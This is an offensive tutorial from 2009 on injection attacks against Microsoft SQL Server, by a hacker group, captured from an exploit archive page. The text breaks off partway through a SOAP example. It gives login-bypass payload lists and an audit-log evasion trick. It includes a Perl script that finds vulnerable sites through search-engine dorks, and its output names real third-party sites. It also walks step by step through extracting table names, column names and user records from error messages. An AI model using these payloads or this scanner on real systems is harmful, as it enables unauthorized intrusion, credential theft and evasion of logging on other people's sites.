SlideShare a Scribd company logo
Vulnerability analysis, Security Papers, Exploit Tutorials                                        http://www.exploit-db.com/papers/12975/



          Full MSSQL Injection PWNage
                              |=--------------------------------------------------------------------=|
                              |=----------------=[ Full MSSQL Injection PWNage ]=-----------------=|
                              |=-----------------------=[ 28 January 2009 ]=------------------------=|
                              |=---------------------=[ By CWH Underground ]=---------------------=|
                              |=--------------------------------------------------------------------=|


          ######
           Info
          ######

          Title     :   Full MSSQL Injection PWNage
          Author    :   ZeQ3uL && JabAv0C
          Team      :   CWH Underground [www.milw0rm.com/author/1456]
          Website   :   cwh.citec.us / www.citec.us
          Date      :   2009-01-28


          ##########
           Contents
          ##########

            [0x00] - Introduction

            [0x01] - Know the Basic of SQL injection

                    [0x01a]   -   Introduction to SQL Injection Attack
                    [0x01b]   -   How to Test sites that are Vulnerable in SQL Injection
                    [0x01c]   -   Bypass Authentication with SQL Injection
                    [0x01d]   -   Audit Log Evasion
                    [0x01e]   -   (Perl Script) SQL-Google searching vulnerable sites

            [0x02] - MSSQL Normal SQL Injection Attack

                    [0x02a]   -   ODBC Error Message Attack with "HAVING" and "GROUP BY"
                    [0x02b]   -   ODBC Error Message Attack with "CONVERT"
                    [0x02c]   -   MSSQL Injection with UNION Attack
                    [0x02d]   -   MSSQL Injection in Web Services (SOAP Injection)

            [0x03] - MSSQL Blind SQL Injection Attack

                    [0x03a]   -   How to Test sites that are Vulnerable in Blind SQL Injection
                    [0x03b]   -   Determine data through Blind SQL Injection
                    [0x03c]   -   Exploit Query for get Table name
                    [0x03d]   -   Exploit Query for get Column name

            [0x04] - More Dangerous SQL Injection Attack

                    [0x04a] - Dangerous from Extended Stored Procedures
                    [0x04b] - Advanced SQL Injection Techniques
                    [0x04c] - Mass MSSQL Injection Worms

            [0x05] - MSSQL Injection Cheat Sheet

            [0x06] - SQL Injection Countermeasures

            [0x07] - References

            [0x08] - Greetz To


          #######################
           [0x00] - Introduction
          #######################

                  Welcome reader, this paper is a short attempt at documenting a practical technique
          we have been working on. This papers will guide about technique that allows the attackers
          (us) gaining access into the process of exploiting a website via SQL Injection Techniques
          that we focused on MSSQL only

                  This paper is divided into 8 sections but only from section 0x01 to 0x06
          are about technical information.

                  Section 0x01, we talk about basic knowledge of SQL injection vulnverabilities which
          are classified into two types, normal and blind. Section 0x02, we give a detail of each way
          attacking through SQL injection. Section 0x03, we explain the way to enumerate data through
          blind sql injection technique. Section 0x04, we show more dangerous approaches which can occur
          through SQL injection vulnerabilities. Section 0x05, we collect MSSQL queries in several purposes.
          Section 0x06, we offer some tips in order to prevent the system from SQL injection attack.


          ##########################################
           [0x01] - Know the Basic of SQL injection
          ##########################################

                    SQL injection vulnerabilities occur when the database server can be made to execute arbitrary SQL




1 of 17                                                                                                                 12/24/10 5:49 PM
Vulnerability analysis, Security Papers, Exploit Tutorials                                        http://www.exploit-db.com/papers/12975/


          (Structured Query Language) commands. Typically executed through the web application front end (use interface,
          form, etc.), the attack involves entering malformed or unexpected SQL statements which result in unauthorized
          execution of SQL commands on the database server.


                  ++++++++++++++++++++++++++++++++++++++++++++++++
                   [0x01a] - Introduction to SQL Injection Attack
                  ++++++++++++++++++++++++++++++++++++++++++++++++

                          SQL injection attacks occur when malicious SQL commands are injected into a predefined SQL query
                  in order to alter the outcome of the query. Take the example of an application that requests a user id
                  for authentication. The application adds this user ID to a predefined SQL query to perform authentication.

                          However, if instead of providing a valid user name the attacker inputs a specialized SQL command
                  that forces the termination of the predefined SQL query and forces the execution of a new SQL query. In this
                  way the attacker can execute any SQL command on the host system without even needing to log in.

                          A successful SQL injection exploit can read sensitive data from the database, modify database data
                  (Insert/Update/Delete), execute administration operations on the database (such shutdown the DBMS), recover
                  the content of a given file present on the DBMS filesystem and in some cases issue commands to the operating system.

                           An application is vulnerable to SQL injection attack when:
                                   - User input is incorrectly filtered for string literal escape characters embedded in SQL statements.
                                   - User input is either not restricted ? e.g. through strong typing - and thereby can be made to execute
                                     in an unexpected manner

                           SQL Injection always occur in application that needs to talk to a Database include:
                                   - Authentication forms (Login Pages)
                                   - Search forms
                                   - E-Commerce sites
                                   - Forum / Webboard
                                   - Content Manage System (CMS's that use DB),Such as:
                                           Joomla Components (http://www.milw0rm.com/search.php?dong=joomla)
                                           Mambo Components (http://www.milw0rm.com/search.php?dong=mambo)
                                           Wordpress Plugin (http://www.milw0rm.com/search.php?dong=wordpress)


                  ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
                   [0x01b] - How to Test sites that are vulnerable in SQL Injection
                  ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

                          We must make a list of all input fields whose values could be used in crafting a SQL query,
                  including the hidden fields of POST requests and then test them separately, trying to interfere with
                  the query and to generate an error. The very first test usually consists of adding a single quote (')
                  , double quote ("") or a semicolon (;) to the field under test.

                  [Simple URL] http://www.example.com/news.asp?id=10
                  [Test SQLi] http://www.example.com/news.asp?id=10'

                           It's vulnerable in SQL injection,If the output some error like this:

                  [HTTP Response]-----------------------------------------------------------------------------
                  Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
                  [Microsoft][ODBC SQL Server Driver][SQL Server]Unclosed quotation mark before the
                  character string ''.
                  /news.asp, line 52
                  [End HTTP Response]-------------------------------------------------------------------------

                           Next solution, Use "OR/AND" Operation for testing SQL injection vulnerability:

                          If contains is the different as original URL that dump all data
                  from database, It's vulnerable in SQL injection.

                  [Simple URL] http://www.example.com/news.asp?id=2

                  [output]------------------------------------------------------------------------------------
                  News: 2
                  Details: Preventing blind SQL injection attacks, Most security professionals know ...
                  [End Output]--------------------------------------------------------------------------------


                  [Test SQLi] http://www.example.com/news.asp?id=2' or '1'='1

                  [output]------------------------------------------------------------------------------------
                  News: 1
                  Details: SQL injection attack infects hundreds of thousands of websites ...

                  News: 2
                  Details: Preventing blind SQL injection attacks, Most security professionals know ...

                  News: 3
                  Details: Mass SQL injection, There's another round of mass SQL injections going on which has infected ...

                  News: 4
                  Details: New Botnet Malware Spreading SQL injection attack tool ...
                  [End Output]--------------------------------------------------------------------------------

                          That's Great !! Can you see something different from original URL ? (It's Vuln in SQL Injection Attacks),
                  It's return all query from DB, Why ??

                  [ASP_code]




2 of 17                                                                                                                 12/24/10 5:49 PM
Vulnerability analysis, Security Papers, Exploit Tutorials                                      http://www.exploit-db.com/papers/12975/


                  var sql = "SELECT * FROM news WHERE id = '" + getid +"'";
                  [End ASP_code]

                  [Final query //id=2]
                  SELECT * FROM news WHERE id = '2'                // It's will return News 2
                  [End id=2]

                  [Final query //id=2' or 'a'='a]                 // Testing SQLi Vuln
                  SELECT * FROM news WHERE id = '2' or 'a'='a'    // It's include ' or 'a'='a into SQL statement and the condition is TRUE,
                                                                  // So It will return all news (id=1,2,3,...)
                  [End id=2' or 'a'='a]



                  ++++++++++++++++++++++++++++++++++++++++++++++++++++
                   [0x01c] - Bypass Authentication with SQL Injection
                  ++++++++++++++++++++++++++++++++++++++++++++++++++++

                          This basic technique for "bypass Login" when application use DB to checking authentication.
                  However, an attacker may possibly bypass this check with SQL injection.

                  [Example scripts]

                  +-----------------------------+
                  |         ' or 1=1 --         |
                  |         a' or 1=1 --        |
                  |         " or 1=1 --         |
                  |         a" or 1=1 --        |
                  |         ' or 1=1 #          |
                  |         " or 1=1 #          |
                  |         or 1=1 --           |
                  |         ' or 'x'='x         |
                  |         " or "x"="x         |
                  |         ') or ('x'='x       |
                  |         ") or ("x"="x       |
                  | ' or username LIKE '%admin% |
                  +-----------------------------+
                  |      USERNAME: ' or 1/*     |
                  |      PASSWORD: */ =1 --     |
                  +-----------------------------+
                  | USERNAME: admin' or 'a'='a |
                  | PASSWORD: '#                |
                  +-----------------------------+

                  [Login ASP_code]----------------------------------------------------------------------------
                  var sql = "SELECT * FROM users WHERE username = '" + formusr + "' AND password ='" + formpwd + "'";
                  [End Login ASP_code]------------------------------------------------------------------------

                           When we input something like this:
                           formusr = admin
                           formpwd = ' or 'a='a

                  [SQL Query]---------------------------------------------------------------------------------
                  SELECT * FROM users WHERE username = 'admin' AND password = '' or 'a'='a'
                  [End Code]----------------------------------------------------------------------------------

                           This SQL condition is TRUE and bypass login process, So you don't need admin's password. (Just use ' or 'a'='a)

                           If we input something like this
                           formusr = ' or 1=1 --
                           formpwd = anything

                  [SQL Query]---------------------------------------------------------------------------------
                  SELECT * FROM users WHERE username = '' or 1=1 -- AND password = 'anything'
                  [End Code]----------------------------------------------------------------------------------

                           ** Note **

                           --              is comment operator of MSSQL DB used to comment out everything following this operator.
                           /*Comment*/     Inline comment, Comments out rest of the query by not closing them / Bypass blacklisting.

                                           DROP/*comment*/sampletable
                                           DR/**/OP/*bypass blacklisting*/sampletable
                                           SELECT/*avoid-spaces*/password/**/FROM/**/Members


                          If application is first getting the record by username and then compare returned MD5 with supplied password's MD5
                  you need to some extra tricks to fool application to bypass authentication. You can union results with a known password an
                  of supplied password. In this case application will compare your password and your supplied MD5 hash instead of MD5 from d

                           formusr = admin
                           formpwd = pass ' AND 1=2 UNION ALL SELECT 'admin', '1a1dc91c907325c69271ddf0c944bc72

                  1a1dc91c907325c69271ddf0c944bc72 = MD(pass)

                  +++++++++++++++++++++++++++++
                   [0x01d] - Audit Log Evasion
                  +++++++++++++++++++++++++++++

                          When we injection some code with SQLi Techniques, All of the SQL queries can be logged and admin can know what's h
                  The technique for evade logging, We use "sp_password"




3 of 17                                                                                                                 12/24/10 5:49 PM
Vulnerability analysis, Security Papers, Exploit Tutorials                                      http://www.exploit-db.com/papers/12975/



                           formusr = ' or 1=1 -- sp_password
                           formpwd = anything

                          SQL Server don't log queries which includes sp_password for security reasons(!). So if you add --sp_password to yo
                  it will not be in SQL Server logs (of course still will be in web server logs, try to use POST if it's possible).

                  +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
                   [0x01e] - (Perl Script) SQL-Google searching vulnerable sites
                  +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

                          The Good way to searching sites that have SQL injection vulnerability is "Google"
                  (That powerful to use every search engines to searching with IRCbots). We developed simple Perl script for
                  searching SQL injection holes (MSSQL, Mysql, MS Access, Oracle) name "SQL-Google Search":

                  [code]-----------------------------------------------------------------------------------

                  #!/usr/bin/perl
                  use LWP::Simple;
                  use LWP::UserAgent;
                  use HTTP::Request;
                  my $sis="$^O";if ($sis eq 'MSWin32') { system("cls"); } else { system("clear"); }
                  print "+++++++++++++++++++++++++++++++n";
                  print "+       SQL - Google Search     +n";
                  print "+         CWH Underground       +n";
                  print "+++++++++++++++++++++++++++++++nn";
                  print "Insert Dork:";
                  chomp( my $dork = <STDIN> );
                  print "Total Query Pages (10 Links/Pages) :";
                  chomp( my $page = <STDIN> );
                  print "n[+] Result:nn";
                  for($start = 0;$start != $page*10;$start += 10)
                  {
                  $t = "http://www.google.com/search?hl=en&q=".$dork."&btnG=Search&start=".$start;
                      $ua = LWP::UserAgent->new(agent => 'Mozilla 5.2');
                      $ua->timeout(10);
                      $ua->env_proxy;
                      $response = $ua->get($t);
                      if ($response->is_success)
                      {
                           $c = $response->content;
                           @stuff = split(/<a href=/,$c);
                           foreach $line(@stuff)
                           {
                               if($line =~/(.*) class=l/ig)
                               {
                                    $out = $1;
                                    $out =~ s/"//g;
                                    $out =~s/$/'/;
                                    $ua = LWP::UserAgent->new(agent => 'Mozilla 5.2');
                                    $ua->timeout(10);
                                    $ua->env_proxy;
                                    $response = $ua->get($out);
                                    $error = $response->content();
                                    if($error =~m/mysql_/ || $error =~m/Division by zero in/ || $error =~m/Warning:/)
                                            {print "$out => Could be Vulnerable in MySQL Injection!!n";}
                                    elsif($error =~m/Microsoft JET Database/ || $error =~m/ODBC Microsoft Access Driver/)
                                            {print "$out => Could be Vulnerable in MS Access Injection!!n";}
                                    elsif($error =~m/Microsoft OLE DB Provider for SQL Server/ || $error =~m/Unclosed quotation mark/)
                                            {print "$out => Could be Vulnerable in MSSQL Injection!!n";}
                                    elsif($error =~m/Microsoft OLE DB Provider for Oracle/)
                                            {print "$out => Could be Vulnerable in Oracle Injection!!n";}
                               }
                           }
                      }
                  }

                  [End code]----------------------------------------------------------------------------------

                  [output]------------------------------------------------------------------------------------

                  +++++++++++++++++++++++++++++++
                  +     SQL - Google Search     +
                  +       CWH Underground       +
                  +++++++++++++++++++++++++++++++

                  Insert Dork:index.asp?sid=
                  Total Query Pages (10 Links/Pages) :5

                  [+] Result:

                  http://www.ris.org.uk/index.asp?sid=7&mid=5' => Could be Vulnerable in MSSQL Injection!!
                  http://www.waterbucket.ca/rm/index.asp?type=single&sid=44&id=307' => Could be Vulnerable in MSSQL Injection!!
                  http://www.ilri.org/research/Index.asp?SID=4' => Could be Vulnerable in MSSQL Injection!!

                  [End output]--------------------------------------------------------------------------------


          ############################################
           [0x02] - MSSQL Normal SQL Injection Attack
          ############################################




4 of 17                                                                                                                12/24/10 5:49 PM
Vulnerability analysis, Security Papers, Exploit Tutorials                                     http://www.exploit-db.com/papers/12975/



                  ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
                   [0x02a] - ODBC Error Message Attack with "HAVING" and "GROUP BY"
                  ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

                           We can use information from error message produced by the MS SQL Server to get almost any data we want.

                  - "GROUP BY" is a microsoft sql server command used to group output of particular sql query.
                  - "HAVING" is a command used to specify a search condition for a group or an aggregate.
                    this command is always used with "GROUP BY" otherwise the error will return.

                          As the operation of these two commands, we can take advantage of them in order to
                  obtain particular table name and all column names of this table. We will explain you by using an example.

                           First, The target has a table called "news" and in news, there are three columns, which are news_id, news_author a

                  The vulnerable page is http://www.example.com/page.asp?id=1
                  The query in this page is something like

                           [Query]-----------------------------------------------------------------------------
                           var query = "SELECT * FROM news WHERE news_id= '" + column+ "'";
                           [End query]-------------------------------------------------------------------------

                  So, we can inject HAVING command in order to observe returned error

                           [SQLi]------------------------------------------------------------------------------
                           http://www.example.com/page.asp?id=1' HAVING 1=1--
                           [End SQLi]--------------------------------------------------------------------------

                  The query will be

                           SELECT * FROM news WHERE news_id='1' HAVING 1=1--'

                  We will get the error as following:

                           ------------------------------------------------------------------------------------
                           Microsoft OLE DB Provider for SQL Server error '80040e14'
                           [Microsoft][ODBC SQL Server Driver][SQL Server]Column 'news.news_id' is invalid in
                           the select list because it is not contained in an aggreate function and there is no GROUP BY clause.
                           ------------------------------------------------------------------------------------

                  In this error, we know table name = "news", used in this page and
                  one column name = "news_id", contained in particular table.

                  The error is originate from using HAVING command without GROUP BY command.
                  Moreover, we can get the other column names by using combination of GROUP BY and HAVING command.

                           [SQLi]------------------------------------------------------------------------------
                           http://www.example.com/page.asp?id=1' GROUP BY news.news_id HAVING 1=1--
                           [End SQLi]--------------------------------------------------------------------------

                  The query will be

                           SELECT * FROM news WHERE news_id='1' GROUP BY news.news_id HAVING 1=1--'

                  We will get the error

                           ------------------------------------------------------------------------------------
                           Microsoft OLE DB Provider for SQL Server error '80040e14'
                           [Microsoft][ODBC SQL Server Driver][SQL Server]Column 'news.news_author' is invalid in
                           the select list because it is not contained in an aggreate function and there is no GROUP BY clause.
                           ------------------------------------------------------------------------------------

                  Now, we know the second column name of table1 = "news_author". The third column name can be obtained
                  by adding the second column name in the previous query

                           [SQLi]------------------------------------------------------------------------------
                           http://www.example.com/page.asp?id=1' GROUP BY news.news_id,news.news_author HAVING 1=1--
                           [End SQLi]--------------------------------------------------------------------------

                  The query will be

                           SELECT * FROM news WHERE news_id='1' GROUP BY news.news_id,news.news_author HAVING 1=1--'

                  The request will generate following error

                           ------------------------------------------------------------------------------------
                           Microsoft OLE DB Provider for SQL Server error '80040e14'
                           [Microsoft][ODBC SQL Server Driver][SQL Server]Column 'news.news_detail' is invalid in
                           the select list because it is not contained in an aggreate function and there is no GROUP BY clause.
                           ------------------------------------------------------------------------------------

                  The third column name = "news_detail", pops up in returned error. If we had more columns,
                  we could add news_detail in GROUP BY clause of previous request then we could get the forth column name.

                  When we added all of column in GROUP BY clause, we will get normal result and
                  we absolutely know that we obtained all column name in table1.

                  As this example, the request below will generate no error.

                           [SQLi]------------------------------------------------------------------------------




5 of 17                                                                                                                12/24/10 5:49 PM
Vulnerability analysis, Security Papers, Exploit Tutorials                                     http://www.exploit-db.com/papers/12975/


                           http://www.example.com/page.asp?id=1' GROUP BY news.news_id,news.news_author,news_detail HAVING 1=1--
                           [End SQLi]--------------------------------------------------------------------------

                  The query will be

                           SELECT * FROM news WHERE news_id='1' GROUP BY news.news_id,news.news_author,news_detail HAVING 1=1--'

                  As no error return, we know that table1 consists of three columns which are "news_id", "news_author" and "news_detail".


                  ++++++++++++++++++++++++++++++++++++++++++++++++++++
                   [0x02b] - ODBC Error Message Attack with "CONVERT"
                  ++++++++++++++++++++++++++++++++++++++++++++++++++++

                          In our opinion, MSSQL expresses much information in returned error. It is useful for programmers to debug their ap
                  it is valuable for many attackers, as seeing in previous section.

                          In this section, we provide another method of utilizing from MSSQL error through a command called "convert".
                  convert command is used to convert between two data type and when the specific data cannot convert to another type,
                  this command will return error. let see through an example:

                  In this example, we show you how to obtain MSSQL_Version, DB_name, User_name.

                           [SQLi]------------------------------------------------------------------------------
                           http://www.example.com/page.asp?id=1+and+1=convert(int,@@version)--
                           [End SQLi]--------------------------------------------------------------------------

                  Error Message returned:

                           ------------------------------------------------------------------------------------
                           Microsoft SQL Native Client error '80040e07'
                           Conversion failed when converting the nvarchar value 'Microsoft SQL Server 2005 - 9.00.3042.00 (Intel X86) Feb 9 2
                           22:47:07 Copyright (c) 1988-2005 Microsoft Corporation Express Edition on Windows NT 5.2 (Build 3790: Service Pack
                           ' to data type int.
                           /page.asp, line 9
                           ------------------------------------------------------------------------------------

                  Now, We know the version of MSSQL and OS (Windows 2003 Server), Let's go to enumerate DB_name.

                           [SQLi]------------------------------------------------------------------------------
                           http://www.example.com/page.asp?id=1+and+1=convert(int,db_name())--
                           [End SQLi]--------------------------------------------------------------------------

                  Error Message returned:

                           ------------------------------------------------------------------------------------
                           Microsoft SQL Native Client error '80040e07'
                           Conversion failed when converting the nvarchar value 'cwhdb' to data type int.
                           /page.asp, line 9
                           ------------------------------------------------------------------------------------

                  We can know the Database name = "cwhdb", Next is query for get current user that run DB.

                           [SQLi]------------------------------------------------------------------------------
                           http://www.example.com/page.asp?id=1+and+1=convert(int,user_name())--
                           [End SQLi]--------------------------------------------------------------------------

                  Error Message returned:

                           ------------------------------------------------------------------------------------
                           Microsoft SQL Native Client error '80040e07'
                           Conversion failed when converting the nvarchar value 'sa' to data type int.
                           /showthread.asp, line 9
                           ------------------------------------------------------------------------------------

                  W00t!! W00t!!, It use "sa" privileges lol. This information can help us that we can use extended
                  stored procedure "XP_CMDSHELL" to run arbitrary command executes.


                  In next example, we show you how to obtain table names, column names and data.

                  Take a look at our First request

                           [SQLi]------------------------------------------------------------------------------
                           http://www.example.com/page.asp?id=1+and+1=convert(int,(select+top+1+table_name+from+information_schema.tables))--
                           [End SQLi]--------------------------------------------------------------------------

                  "information_schema.tables" stores information about tables in databases and there is a field called "table_name"
                  which stores names of each table. The result of this request is something like this:

                           ------------------------------------------------------------------------------------
                           Microsoft SQL Native Client error '80040e07'
                           Conversion failed when converting the nvarchar value 'threads' to data type int.
                           /page.asp, line 9
                           ------------------------------------------------------------------------------------

                          From the query, we get threads as a nvarchar data type and as it cannot convert from threads to int data type, the
                  Therefore, we know the first table = "threads", from this error. The next step is looking for the second table.
                  We only put WHERE clause append the query in above request.

                           [SQLi]------------------------------------------------------------------------------




6 of 17                                                                                                               12/24/10 5:49 PM
Vulnerability analysis, Security Papers, Exploit Tutorials                                     http://www.exploit-db.com/papers/12975/


                           http://www.example.com/page.asp?id=1+and+1=convert(int,(select+top+1+table_name+from+information_schema.tables+whe
                           not+in+('threads')))--
                           [End SQLi]--------------------------------------------------------------------------

                  We will get an error like this:

                           ------------------------------------------------------------------------------------
                           Microsoft SQL Native Client error '80040e07'
                           Conversion failed when converting the nvarchar value 'users' to data type int.
                           /page.asp, line 9
                           ------------------------------------------------------------------------------------

                  Again, we know the second table = "users", from the error. If we want another table, we just append our known table list.

                           [SQLi]------------------------------------------------------------------------------
                           http://www.example.com/page.asp?id=1+and+1=convert(int,(select+top+1+table_name+from+information_schema.tables+whe
                           not+in+('threads','users')))--
                           [End SQLi]--------------------------------------------------------------------------

                  And we will get an error:

                           ------------------------------------------------------------------------------------
                           Microsoft SQL Native Client error '80040e07'
                           Conversion failed when converting the nvarchar value 'forums' to data type int.
                           /page.asp, line 9
                           ------------------------------------------------------------------------------------

                  This means the third table = "forums". On the other hand, if the previous request return something like this.

                           ------------------------------------------------------------------------------------
                           ADODB.Field error '800a0bcd'
                           Either BOF or EOF is True, or the current record has been deleted. Requested operation requires a current record.
                           /page.asp, line 10
                           ------------------------------------------------------------------------------------

                  It means this database consists of only two tables, threads and users.

                          OK, now, we already get all tables. The next target is column names.
                  The method to retrieve column names is not much different from getting table names.
                  We merely change from "information_schema.tables" to "information_schema.columns" and from "table_name" to "column_name"
                  but we have to add "table_name" in WHERE cluase in order to specify the table which we will pull column names from.

                  Don't talk too much, let see an example

                           [SQLi]------------------------------------------------------------------------------
                           http://www.example.com/page.asp?id=1+and+1=convert(int,(select+top+1+column_name+from+information_schema.columns+w
                           [End SQLi]--------------------------------------------------------------------------

                  From this request, we get an following error

                           ------------------------------------------------------------------------------------
                           Microsoft SQL Native Client error '80040e07'
                           Conversion failed when converting the nvarchar value 'uname' to data type int.
                           /showthread.asp, line 9
                           ------------------------------------------------------------------------------------

                  As the same approach of getting table names, we abruptly know that the first column of table 'users' is "uname".
                  For another column name, we add a bit in WHERE clause.

                           [SQLi]------------------------------------------------------------------------------
                           http://www.example.com/page.asp?id=1+and+1=convert(int,(select+top+1+column_name+from+information_schema.columns+w
                           and+column_name+not+in+('uname')))--
                           [End SQLi]--------------------------------------------------------------------------

                  We will get an below error.

                           ------------------------------------------------------------------------------------
                           Microsoft SQL Native Client error '80040e07'
                           Conversion failed when converting the nvarchar value 'upass' to data type int.
                           /showthread.asp, line 9
                           ------------------------------------------------------------------------------------

                  Absolutely we know the second column = "upass", of table 'users'. For getting more column names,
                  we only append a known table list like that in getting table names. For example,

                           [SQLi]------------------------------------------------------------------------------
                           http://www.example.com/page.asp?id=1+and+1=convert(int,(select+top+1+column_name+from+information_schema.columns+w
                           and+column_name+not+in+('uname','upass')))--
                           [End SQLi]--------------------------------------------------------------------------

                  The Error message:

                           ------------------------------------------------------------------------------------
                           Microsoft SQL Native Client error '80040e07'
                           Conversion failed when converting the nvarchar value 'email' to data type int.
                           /showthread.asp, line 9
                           ------------------------------------------------------------------------------------

                  So, the third column is "email". but if the error is

                           ------------------------------------------------------------------------------------




7 of 17                                                                                                               12/24/10 5:49 PM
Vulnerability analysis, Security Papers, Exploit Tutorials                                     http://www.exploit-db.com/papers/12975/


                           ADODB.Field error '800a0bcd'
                           Either BOF or EOF is True, or the current record has been deleted. Requested operation requires a current record.
                           /page.asp, line 10
                           ------------------------------------------------------------------------------------

                  This means no more column left. Next is the real target which attackers want, the data.
                  If take a look carefully, we will see that the idea is not different from getting table and column.
                  Use the same manner but change only table and column name.

                  If we want uname data in table users, we can do like this:

                           [SQLi]------------------------------------------------------------------------------
                           http://www.example.com/page.asp?id=1+and+1=convert(int,(select+top+1+uname+from+users))--
                           [End SQLi]--------------------------------------------------------------------------

                  We will see uname in returned error.

                           ------------------------------------------------------------------------------------
                           Microsoft SQL Native Client error '80040e07'
                           Conversion failed when converting the nvarchar value 'admin' to data type int.
                           /page.asp, line 9
                           ------------------------------------------------------------------------------------

                  Now, we know that there is 'admin' in column 'uname' of table 'users'. For another uname,
                  we just create a known table list as table and column.

                           [SQLi]------------------------------------------------------------------------------
                           http://www.example.com/page.asp?id=1+and+1=convert(int,(select+top+1+uname+from+users+where+uname+not+in+('admin')
                           [End SQLi]--------------------------------------------------------------------------

                  Error again:

                           ------------------------------------------------------------------------------------
                           Microsoft SQL Native Client error '80040e07'
                           Conversion failed when converting the nvarchar value 'cwh' to data type int.
                           /page.asp, line 9
                           ------------------------------------------------------------------------------------

                  OK, we get another "uname" which is 'cwh'. If we try following request.

                           [SQLi]------------------------------------------------------------------------------
                           http://www.example.com/page.asp?id=1+and+1=convert(int,(select+top+1+uname+from+users+where+uname+not+in+('admin',
                           [End SQLi]--------------------------------------------------------------------------

                  And we get an error like this

                           ------------------------------------------------------------------------------------
                           ADODB.Field error '800a0bcd'
                           Either BOF or EOF is True, or the current record has been deleted. Requested operation requires a current record.
                           /showthread.asp, line 10
                           ------------------------------------------------------------------------------------

                  It means there are only two uname in users table (admin,cwh).


                  +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
                  [0x02d] - MSSQL Injection in Web Services (SOAP Injection)
                  +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

                          Web Services use XML messages that follow the SOAP standard and have been popular with traditional enterprise.
                  In such systems, there is often a machine-readable description of the operations offered by the service written in the
                  Web Services Description Language (WSDL).
                          SOAP is often used in large-scale enterprise applications where individual tasks are performed by different comput
                  improve performance. It's often found where web application that deployed as a front-end to an existing application.

                                   Let's take a look for SOAP request like this:

                           [SOAP Request]------------------------------------------------------------------------------

                           POST /webservice/service.asmx HTTP/1.0
                           User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; MS Web Services Client Protocol 2.0.50727.1433)
                           Content-Type: text/xml; charset=utf-8
                           SOAPAction: "http://tempuri.org/GetUserInfo"
                           Host: testcwh.cwh.net
                           Content-Length: 345
                           Expect: 100-continue
                           Connection: Keep-Alive

                           <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"
                           xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"><soap:Body>
                           <GetUserInfo xmlns="http://tempuri.org/"><username>admin</username><password>1234</password></GetUserInfo></soap:B

                           [End Request]-------------------------------------------------------------------------------

                                   Can you see username(admin) and password(1234) that send to Server side ?

                                   What's happen if we injection (') single quote to username field like this: <username>admin'</username><pa
                           before It send to Server Side. We can use Web proxy (Burpsuite, Paros proxy) to intercept SOAP request and SOAP re

                           [SOAP Respond When we inject single quote]--------------------------------------------------




8 of 17                                                                                                                 12/24/10 5:49 PM
Vulnerability analysis, Security Papers, Exploit Tutorials                                     http://www.exploit-db.com/papers/12975/


                           HTTP/1.1 200 OK
                           Date: Mon, 26 Jan 2009 15:45:27 GMT
                           Server: Microsoft-IIS/6.0
                           X-Powered-By: ASP.NET
                           X-AspNet-Version: 2.0.50727
                           Cache-Control: private, max-age=0
                           Content-Type: text/xml; charset=utf-8
                           Content-Length: 1057
                           Connection: close
                           X-Junk: xxxxxxxxxxx

                           <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"
                           xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"><soap:Body>
                           <GetUserInfoResponse xmlns="http://tempuri.org/"><GetUserInfoResult><ErrorOccured>true</ErrorOccured><ErrorStr>
                           System.Data.OleDb.OleDbException: Unclosed quotation mark after the character string ''.
                           Incorrect syntax near '81'.
                              at System.Data.OleDb.OleDbDataReader.ProcessResults(OleDbHResult hr)
                              at System.Data.OleDb.OleDbDataReader.NextResult()
                              at System.Data.OleDb.OleDbCommand.ExecuteReaderInternal(CommandBehavior behavior, String method)
                              at System.Data.OleDb.OleDbCommand.ExecuteReader(CommandBehavior behavior)
                              at Service.GetUserInfo(String username, String password)</ErrorStr><SqlQuery>SELECT * FROM users WHERE username
                              AND password='81dc9bdb52d04dc20036dbd8313ed055'</SqlQuery><id>-1</id><joindate>0001-01-01T00:00:00</joindate></
                              </GetUserInfoResponse></soap:Body></soap:Envelope>

                           [End Respond]-------------------------------------------------------------------------------

                           Okey, The SOAP respond return error message like that. We can use simple techiques for SQLi that we showed you
                           in section [0x02b] - ODBC Error Message Attack with "CONVERT", Let's use this SQLi:

                                   admin' and 1=convert(int,@@version)--

                           [SOAP Request/Respond]----------------------------------------------------------------------

                           *** Request ***
                           POST /webservice/service.asmx HTTP/1.0
                           User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; MS Web Services Client Protocol 2.0.50727.1433)
                           Content-Type: text/xml; charset=utf-8
